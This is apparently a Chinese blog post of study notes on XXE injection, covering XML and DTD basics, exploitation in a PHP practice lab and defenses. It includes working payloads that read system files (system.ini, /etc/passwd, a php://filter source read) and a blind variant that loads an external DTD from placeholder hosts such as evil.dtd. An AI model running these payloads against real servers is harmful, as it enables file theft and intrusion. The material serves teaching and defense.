8-XXE渗透与防御

1、XXE漏洞(上)

1.1 XML基础知识

可拓展标记语言,html里的标签是固定的,xml可以自定义标签

用途:
1、配置文件
2、交换配置(通信)

1.2 XML内容

第一行XML声明,对应的版本和编码
XML根元素+XML子元素

格式要求:

  • XML文档必须有根元素
  • XML文档必须有关闭标签
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性必须加引号

1.3 DTD文档类型定义:可以根据XML自己定义格式规范

1.3.1 DTD内容之元素


1.3.2 DTD内容之实体:定义被引用的文件或字符(相当于全局变量)


1.3.3 外部实体ENTITY


file:///etc//passwd
php://filter/read=convert.base64-encode/resource=index.phh
http://wwuya.com/evil.dtd

1.4 完整的XML内容

2、XXE漏洞(中)

2.1 XXE定义

XML外部实体注入(XXE或XEE)
如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

原因:使用XML传输数据,并且允许解析外部实体

2.2 XXE靶场(PHP)

2.2.1 第一步:确定它使用的是XXE格式传输数据,F12查看login后的Network


2.2.2 第二步:修改传输数据的内容,添加外部实体

BP抓包

添加外部实体,并引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini">]>
<name>&xxe;</name>

在内容中加上&xxe;

2.3 盲打(如果没有回显情况)

使用DNSLog.cn网站,查看有没有网站访问,以此来验证攻击是否成功
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx">%remote;]>

后者传输到自己的服务器.dtd

3、XXE漏洞(下)

3.1 XXE防御

1、在解析XML之前,加入禁用实体解析的代码
2、过滤用户提交的XML数据
3、WAF,如ModSecurity

posted @ 2024-12-05 17:16  xmh666  阅读(2)  评论(0编辑  收藏  举报